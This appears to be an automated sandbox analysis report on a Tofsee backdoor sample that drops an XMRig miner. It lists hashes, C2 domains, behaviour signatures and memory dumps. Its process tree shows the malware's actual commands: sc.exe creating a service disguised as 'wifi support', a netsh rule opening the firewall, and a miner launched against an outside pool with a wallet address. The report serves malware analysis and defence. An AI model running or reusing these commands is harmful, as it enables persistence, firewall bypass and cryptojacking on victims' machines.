Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    12/11/2022, 11:04

General

  • Target
    file.exe
  • Size 193KB
  • Sample221112-m59pvaeh85
  • SHA256 8ef2d248e993647977d7df2e2ee642a1874df6b4de6e3550aecc5de6df1a0147
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yzqcvqyv\
      2⤵
        PID:1756
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oumbgzq.exe" C:\Windows\SysWOW64\yzqcvqyv\
        2⤵
          PID:1760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yzqcvqyv binPath= "C:\Windows\SysWOW64\yzqcvqyv\oumbgzq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yzqcvqyv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yzqcvqyv
          2⤵
          • Launches sc.exe
          PID:828
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1008
      • C:\Windows\SysWOW64\yzqcvqyv\oumbgzq.exe
        C:\Windows\SysWOW64\yzqcvqyv\oumbgzq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1540
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:600
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1508

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            oumbgzq.exe

            • Path C:\Users\Admin\AppData\Local\Temp\oumbgzq.exe
            • Size 13.8MB
            • SHA256 cf3b8a88b8e17bf483aec7ca5477d273c21da3c98165dc78bad2aa695c83a2f6
            • MD5 SHA1 SHA512 SSDEEP

            oumbgzq.exe

            • Path C:\Windows\SysWOW64\yzqcvqyv\oumbgzq.exe
            • Size 13.8MB
            • SHA256 cf3b8a88b8e17bf483aec7ca5477d273c21da3c98165dc78bad2aa695c83a2f6
            • MD5 SHA1 SHA512 SSDEEP

            memory/600-95-0x0000000000190000-0x0000000000197000-memory.dmp

            memory/600-86-0x0000000000160000-0x0000000000170000-memory.dmp

            memory/600-80-0x0000000001900000-0x0000000001B0F000-memory.dmp

            memory/600-83-0x0000000000080000-0x0000000000086000-memory.dmp

            memory/600-79-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/600-89-0x0000000000180000-0x0000000000185000-memory.dmp

            memory/600-92-0x00000000055B0000-0x00000000059BB000-memory.dmp

            memory/600-98-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/600-66-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/600-68-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1048-54-0x0000000076171000-0x0000000076173000-memory.dmp

            memory/1048-57-0x0000000000260000-0x0000000000273000-memory.dmp

            memory/1048-76-0x00000000002AB000-0x00000000002BC000-memory.dmp

            memory/1048-77-0x0000000000400000-0x000000000058C000-memory.dmp

            memory/1048-56-0x00000000002AB000-0x00000000002BC000-memory.dmp

            memory/1048-58-0x0000000000400000-0x000000000058C000-memory.dmp

            memory/1508-99-0x00000000001D0000-0x00000000002C1000-memory.dmp

            memory/1508-101-0x00000000001D0000-0x00000000002C1000-memory.dmp

            memory/1540-72-0x000000000076B000-0x000000000077C000-memory.dmp

            memory/1540-74-0x0000000000400000-0x000000000058C000-memory.dmp